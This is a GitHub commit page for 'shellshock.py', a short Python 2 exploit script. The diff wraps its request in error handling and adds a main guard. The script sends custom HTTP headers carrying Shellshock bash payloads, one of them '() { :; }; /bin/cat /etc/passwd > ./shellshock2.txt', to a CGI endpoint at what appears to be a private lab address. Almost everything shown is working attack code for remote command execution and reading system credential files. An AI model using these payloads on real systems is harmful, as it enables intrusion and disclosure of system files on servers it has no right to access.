Skip to content

Commit 68f4ce0

Browse files
committed
Update shellshock.py
1 parent 38e9828 commit 68f4ce0

File tree

1 file changed

+11
-7
lines changed

1 file changed

+11
-7
lines changed

shellshock.py

Lines changed: 11 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -11,11 +11,15 @@ def get_request(url):
1111
"CustomHeader2": "() { :; }; /bin/cat /etc/passwd > ./shellshock2.txt",
1212
}
1313

14-
req = urllib2.Request(url, headers=i_headers)
15-
response = urllib2.urlopen(req)
16-
print response.info()
17-
html = response.read()
18-
print html
14+
try:
15+
req = urllib2.Request(url, headers=i_headers)
16+
response = urllib2.urlopen(req)
17+
print response.info()
18+
html = response.read()
19+
print html
20+
except:
21+
print "Error on request"
1922

20-
url = "http://192.168.91.135:8080/hello/cgi-bin/hello"
21-
get_request(url)
23+
if __name__ == '__main__':
24+
url = "http://192.168.91.135:8080/hello/cgi-bin/hello"
25+
get_request(url)

0 commit comments

Comments
 (0)